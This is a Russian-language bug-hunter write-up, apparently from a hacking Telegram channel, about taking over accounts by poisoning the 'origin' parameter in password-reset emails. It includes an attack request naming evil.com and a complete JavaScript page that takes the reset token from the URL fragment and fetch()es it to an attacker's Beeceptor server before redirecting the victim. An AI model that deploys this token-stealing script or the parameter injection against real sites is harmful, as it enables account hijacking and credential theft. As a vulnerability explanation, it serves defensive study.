Как охотники за ошибками, мы видим, как приложения снова и снова совершают одни и те же ошибки. Одна из них — позволить пользователям контролировать то, что они не должны. Сброс пароля являются перспективной мишенью. Если приложение позволяет данным, вводимым пользователем, влиять на электронное письмо для сброса пароля (например изменять URL-адреса перенаправления или внедрять параметры), им можно злоупотреблять для перехвата учетных данных. Злоумышленники могут настроить входные данные так, чтобы отправить пользователей на вредоносный сайт вместо законной страницы сброса, украсть токен и завладеть учетными данными. Это не теория — это происходит постоянно, особенно в плохо защищенных приложениях.
Как это работает?
Процесс сброса паролей обычно выполняются следующим образом:
1) Генерируется токен сброса.
2) Отправляется письмо со ссылкой для сброса, содержащей этот токен.
3) Когда пользователь щелкает ссылку, токен проходит проверку.
4) Пользователю разрешается установить новый пароль.
Проблема возникает, когда:
1) Приложение позволяет управлять пользовательским вводом, а именно redirect_uri или origin.
2) Бэкенд не проверяет или не ограничивает эти параметры должным образом.
3) Токен сброса попадает в URL-адрес, контролируемый злоумышленником.
Если злоумышленник может внедрить свой собственный URL-адрес в электронное письмо для сброса, он может обманом заставить пользователей перейти по вредоносной ссылке и украсть токен сброса. Как только он получат его, он может завладеть учетной записью жертвы.
Мой сценарий: Эксплуатация параметра origin
Обычный запрос:
POST /api/reset-password HTTP/1.1
Host: victim-website.com
Content-Type: application/json
{
"email": "victim@example.com",
"origin": "https://victim-website.com"
}
Здесь все нормально, параметр origin установлен на официальную страницу сброса.
Запрос атакующего:
POST /api/reset-password HTTP/1.1
Host: victim-website.com
Content-Type: application/json
{
"email": "victim@example.com",
"origin": "https://evil.com"
}
Видите, что изменилось? Я заменил параметр origin на "evil.com". Если приложение не проверит должным образом параметр origin, электронное письмо для сброса будет содержать https://evil.com вместо реального URL-адреса сброса. И да, как я и ожидал, так и случилось!

Следующий шаг — извлечение токена.
Итак, я использовал свой Burp Collaborator вместо "evil.com". Затем, после того, как я получил письмо и нажал на URL, я проверил запрос, который пришел на мой Collaborator. Но вот проблема… почему токен не был отправлен?

Все, что стоит после # в URL, называется идентификатором фрагмента. Фрагменты обрабатываются только на стороне клиента и не отправляются на сервер в виде HTTP-запросов. Вот почему мой коллаборант не получил токен.
Извлечение токенов для сброса пароля с помощью JavaScript
Чтобы воспользоваться утечкой токена сброса пароля, я создал вредоносную страницу, которая автоматически извлекает токен из URL-адреса и отправляет его на мой сервер. Я разместил этот код на Beeceptor.com, что позволило мне перехватывать входящие запросы и анализировать украденные токены.
<!DOCTYPE html>
<html>
<head>
<title>Extracting Token...</title>
<script>
// Extract token from the URL fragment
var token = window.location.hash.substring(1);
// Send the token to my server
if (token) {
fetch("https://XXXXX.free.beeceptor.com/?token=" + encodeURIComponent(token))
.then(() => {
window.location.href = "https://victim-website.com"; // Redirect after logging the token
})
.catch(() => {
window.location.href = "https://victim-website.com"; // Redirect even if fetch fails
});
} else {
window.location.href = "https://victim-website.com"; // Redirect if no token is found
}
</script>
</head>
</html>
Таким образом, обновленное значение параметра origin будет таким: "origin":"https://XXXXX.free.beeceptor.com/extract", где размещен предыдущий код. Как только жертва нажимает на ссылку сброса (https://XXXXX.free.beeceptor.com/extract/#/reset-token), скрипт захватывает токен из фрагмента URL (#reset-token), и снова отправляет его на мой сервер beeceptor, а затем перенаправляет жертву на главную страницу, чтобы избежать подозрений.

Теперь я могу использовать токен для изменения пароля жертвы. Bingooo - аккаунт захвачен!!!
Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер
